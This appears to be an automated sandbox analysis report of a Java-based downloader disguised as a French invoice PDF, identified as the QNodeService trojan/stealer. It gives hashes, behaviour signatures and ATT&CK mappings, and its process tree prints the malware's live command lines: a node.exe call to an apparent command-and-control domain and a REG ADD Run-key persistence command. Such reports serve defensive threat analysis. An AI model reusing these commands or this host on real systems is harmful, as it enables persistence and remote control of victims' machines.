Analysis

  • max time kernel
    37s
  • max time network
    130s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    06-11-2020 10:37

General

  • Target

    Facture Octobre #052020.pdf.jar

  • Size

    120KB

  • MD5

    c7139ea7b8db4abd3c0928fc15dc523e

  • SHA1

    91c8278bc94c53fcec38777367b70ba670fb582d

  • SHA256

    51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5

  • SHA512

    567b0e55a93a78262608e6a914fb89b6eb500f30327db776507fd5ceed7dace6536154e0f678f3ad3da8a35a3db58c05183caf6b395ee03034761882ffada776

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\Facture Octobre #052020.pdf.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\17ee1f8a.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain mparrain10.duckdns.org
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4676
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4536
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js --hub-domain mparrain10.duckdns.org
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2524
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:1044
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "ab5dbe50-10a0-4163-8b59-6792dd8a2495" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:2160

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Registry Run Keys / Startup Folder

1
T1060

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\.oracle_jre_usage\90737d32e3aba4b.timestamp
    MD5

    be557cd6d1d341e39b0ad672b5903ff0

    SHA1

    2a8762e83d66db73e38a7d4e27ee9adf95c04ebd

    SHA256

    551206a0daa3b2eb378ca0b93ddbb440c9f841904ded528b1f824c75d1b6f491

    SHA512

    0fead7e1131abfc7fee1d7487aa94d63eb1619e96ce4b0a8f1273b3d417eb43f3152c59405623c1bd7dd72c86531a2c620d0d8ac40414c7b9f71835568156366

  • C:\Users\Admin\AppData\Local\Temp\17ee1f8a.tmp
    MD5

    c7139ea7b8db4abd3c0928fc15dc523e

    SHA1

    91c8278bc94c53fcec38777367b70ba670fb582d

    SHA256

    51817fd0b405ba6f554cb54c80e0c8c3add58876f6a2354dcb8146c538959cd5

    SHA512

    567b0e55a93a78262608e6a914fb89b6eb500f30327db776507fd5ceed7dace6536154e0f678f3ad3da8a35a3db58c05183caf6b395ee03034761882ffada776

  • C:\Users\Admin\AppData\Local\Temp\_qhub_node_SzjqjN\boot.js
    MD5

    5ae37d62333fe9f50a67eeab5e814b04

    SHA1

    104eb57a0a40f109f9810bd1e47dec2db74e9336

    SHA256

    63084587ceef4fc0f2fe01750fbc83485f43b0c73f6ba14abeb058da28b0431e

    SHA512

    089ae61fb457376ac5d3ede6aadaf4341722f3ce7dbd4e53c6a1641ce89806e5aaca53dd2427e3390f19d10ad627651e1a4a3e384a4b48a9722706ad050d60f4

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    MD5

    f0b11a5823c45fc2664e116dc0323bcb

    SHA1

    612339040c1f927ec62186cd5012f4bb9c53c1b9

    SHA256

    16fb671d2b06196482243fc31afb9cc0914c191b08181e71e20d872b51b09d99

    SHA512

    0e07919012d0764aef67ae20c69d66f0c2279137d3459c8437f00c63f0e868a79c52d5ddeb57b9273009780b147bb46b1f429248a8b1f946981097b8e5e851ac

  • memory/1044-189-0x0000000000000000-mapping.dmp
  • memory/2160-190-0x0000000000000000-mapping.dmp
  • memory/2524-188-0x0000034DCAF40000-0x0000034DCAF41000-memory.dmp
    Filesize

    4KB

  • memory/2524-186-0x0000000000000000-mapping.dmp
  • memory/4348-58-0x0000000000000000-mapping.dmp
  • memory/4536-182-0x0000000000000000-mapping.dmp
  • memory/4536-184-0x00000278685C0000-0x00000278685C1000-memory.dmp
    Filesize

    4KB

  • memory/4676-181-0x000003C8D2200000-0x000003C8D2201000-memory.dmp
    Filesize

    4KB

  • memory/4676-179-0x0000000000000000-mapping.dmp